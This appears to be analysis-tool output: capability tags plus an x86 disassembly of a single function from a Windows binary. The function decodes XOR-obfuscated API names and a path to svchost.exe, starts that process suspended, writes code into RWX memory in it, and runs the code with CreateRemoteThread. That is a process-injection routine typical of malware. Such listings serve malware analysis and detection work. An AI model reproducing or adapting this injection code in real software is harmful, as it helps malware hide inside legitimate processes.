Function at 0x401620
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Get common file path
Inject thread
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push ebx
push esi
push edi
push 0x34
lea eax, [ebp - 0x3c]
push 0
push eax
call sub.MSVCR100.dll_memset
mov eax, 0x404020
add esp, 0xc
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401646
sub eax, esi
je 0x40166e
xor byte [ecx + 0x404020], 1
mov eax, 0x404020
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401661
sub eax, esi
cmp ecx, eax
jb 0x401651
push 0x404020
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, str.Bsd_udGhmd_
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401685
sub eax, esi
je 0x4016ad
xor byte [ecx + str.Bsd_udGhmd_], 1
mov eax, str.Bsd_udGhmd_
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4016a0
sub eax, esi
cmp ecx, eax
jb 0x401690
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.Bsd_udGhmd_
push ebx
call edi
mov dword [ebp - 0x3c], eax
mov eax, str.Sd_eGhmd
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4016c8
sub eax, esi
je 0x4016f0
xor byte [ecx + str.Sd_eGhmd], 1
mov eax, str.Sd_eGhmd
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4016e3
sub eax, esi
cmp ecx, eax
jb 0x4016d3
push str.Sd_eGhmd
push ebx
call edi
mov dword [ebp - 0x38], eax
mov eax, str.VshudGhmd
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401705
sub eax, esi
je 0x40172d
xor byte [ecx + str.VshudGhmd], 1
mov eax, str.VshudGhmd
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401720
sub eax, esi
cmp ecx, eax
jb 0x401710
push str.VshudGhmd
push ebx
call edi
mov dword [ebp - 0x34], eax
mov eax, str.BmnrdI_oemd
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401742
sub eax, esi
je 0x40176d
lea ecx, [ecx]
xor byte [ecx + str.BmnrdI_oemd], 1
mov eax, str.BmnrdI_oemd
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401760
sub eax, esi
cmp ecx, eax
jb 0x401750
push str.BmnrdI_oemd
push ebx
call edi
mov dword [ebp - 0x30], eax
mov eax, str.EdmdudGhmd_
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401782
sub eax, esi
je 0x4017ad
lea ecx, [ecx]
xor byte [ecx + str.EdmdudGhmd_], 1
mov eax, str.EdmdudGhmd_
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4017a0
sub eax, esi
cmp ecx, eax
jb 0x401790
push str.EdmdudGhmd_
push ebx
call edi
mov dword [ebp - 0x2c], eax
mov eax, str.E__udru_gm_f_uyu
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4017c2
sub eax, esi
je 0x4017ed
lea ecx, [ecx]
xor byte [ecx + str.E__udru_gm_f_uyu], 1
mov eax, str.E__udru_gm_f_uyu
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4017e0
sub eax, esi
cmp ecx, eax
jb 0x4017d0
push str.E__udru_gm_f_uyu
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x104
xor ebx, ebx
lea edx, [ebp - 0x140]
push ebx
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
xor eax, eax
cmp dword [ebp - 4], ebx
lea edx, [ebp - 0x140]
setne al
push edx
push ebx
push ebx
lea eax, [eax*4 + 0x25]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
mov eax, str._rwbinru_dyd
xor ecx, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401851
sub eax, esi
je 0x40187d
lea esp, [esp]
xor byte [ecx + str._rwbinru_dyd], 1
mov eax, str._rwbinru_dyd
inc ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x401870
sub eax, esi
cmp ecx, eax
jb 0x401860
push str._rwbinru_dyd
lea eax, [ebp - 0x140]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edi, dword [sym.imp.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_]
push 0x44
mov dword [ebp - 8], ebx
call edi
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x4018b3
push 0x44
push ebx
push esi
call sub.MSVCR100.dll_memset
add esp, 0xc
jmp 0x4018b5
xor esi, esi
push 0x10
call edi
add esp, 4
cmp eax, ebx
je 0x4018d1
xor ecx, ecx
mov dword [eax], ecx
mov dword [eax + 4], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0xc], ecx
mov edi, eax
jmp 0x4018d3
xor edi, edi
push edi
push esi
push ebx
push ebx
push 4
push ebx
push ebx
push ebx
lea ecx, [ebp - 0x140]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401964
mov edx, dword [edi]
push 0x40
push 0x3000
push 0x2000
push ebx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
cmp esi, ebx
je 0x401967
mov edx, dword [edi]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 8]
push eax
push 0x34
lea ecx, [ebp - 0x3c]
push ecx
push esi
push edx
call ebx
test eax, eax
je 0x401946
lea eax, [ebp - 8]
push eax
mov eax, dword [edi]
mov ecx, 0x4015f0
sub ecx, 0x4014e0
push ecx
push 0x4014e0
lea edx, [esi + 0x34]
push edx
push eax
call ebx
test eax, eax
jne 0x401967
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0x4000
push 0x2000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [ebp - 8]
mov ecx, dword [edi]
push 0
push 0
push esi
add esi, 0x34
push esi
push 0
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret